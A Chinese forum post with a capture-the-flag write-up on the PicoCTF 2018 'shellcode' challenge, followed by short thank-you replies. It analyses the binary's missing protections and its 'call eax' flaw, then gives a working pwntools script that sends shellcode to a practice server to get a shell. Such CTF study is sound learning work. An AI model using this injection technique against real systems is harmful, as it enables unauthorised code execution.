数察啜 发表于 2025-9-29 21:33:00

PWN手的成长之路-04-PicoCTF_2018_shellcode


先 nc 连接服务器,交互一下看看有什么效果。发现是让我们输入一个字符,之后程序再打印出来。

file 查看文件。32位的 ELF 可执行文件。

checksec 查看文件安全属性。没开任何保护。

NX 保护未开启,表明栈内存可被注入并执行任意机器码(shellcode),符合经典栈溢出利用的条件。此类漏洞通常需构造包含 /bin/bash 字符串的 shellcode 以获取交互式 shell 。
IDA打开此文件。因为代码被混淆了,导致无法反编译成伪代码,所以需要逐条分析汇编指令。

看 main 函数旁边看到了一个 vuln 函数,查看。发现了 gets 高危函数。

仔细查看 main 函数。

程序将用户的输入数据存储到 edp+var_A0 处,并通过 lea 将输入缓冲区地址加载至 eax 寄存器,随后作为参数传递给 vuln 函数,vuln 函数内存在关键指令 call eax,表明程序会直接跳转执行 eax 指向的地址,推测此处可能会存在任意代码执行漏洞。

反编译 vuln 函数,猜测 a1会被加载到 eax 寄存器中。

因此用户输入的数据最终会被 call eax 执行因此需要构造一段机器码形式的shellcode,直接注入到栈中实现任意代码执行。
exp 构造思路:
构造包含 /bin/bash 字符串及系统调用执行的 shellcode,通过输入将其注入栈中,并利用call eax 触发执行,之后get shell。
from pwn import *

r=remote('node5.buuoj.cn',26081)
context.log_level='debug'
context.arch='i386'
context.os='linux'
shellcode=asm(shellcraft.sh())
print(shellcode)
r.send(shellcode)
r.interactive()最终得到交互式 shell


来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

越蔓蔓 发表于 2026-1-13 18:38:04

东西不错很实用谢谢分享

尤晓兰 发表于 2026-1-14 00:08:11

感谢分享,下载保存了,貌似很强大

师佳思 发表于 2026-1-14 20:00:35

热心回复!

豌畔丛 发表于 2026-1-16 04:39:00

东西不错很实用谢谢分享

咪四 发表于 2026-1-20 18:45:34

谢谢分享,辛苦了

荆邦 发表于 2026-1-21 02:49:42

喜欢鼓捣这些软件,现在用得少,谢谢分享!

喳谍 发表于 2026-1-21 10:45:15

谢谢楼主提供!

溥价 发表于 2026-1-28 05:51:35

收藏一下   不知道什么时候能用到

稞冀 发表于 2026-1-29 03:38:01

感谢,下载保存了

赏听然 发表于 2026-1-30 03:21:30

鼓励转贴优秀软件安全工具和文档!

挚魉 发表于 2026-2-2 03:54:18

感谢分享,下载保存了,貌似很强大

忿惺噱 发表于 2026-2-3 04:04:34

热心回复!

跟尴 发表于 2026-2-3 09:29:05

yyds。多谢分享

舒菀菀 发表于 2026-2-5 17:21:07

这个有用。

仇华乐 发表于 2026-2-6 13:08:56

这个有用。

庞环 发表于 2026-2-6 13:19:09

懂技术并乐意极积无私分享的人越来越少。珍惜

国语诗 发表于 2026-2-7 20:39:58

新版吗?好像是停更了吧。

忙贬 发表于 2026-2-8 08:44:47

懂技术并乐意极积无私分享的人越来越少。珍惜

挚魉 发表于 2026-2-8 18:59:25

过来提前占个楼
页: [1] 2
查看完整版本: PWN手的成长之路-04-PicoCTF_2018_shellcode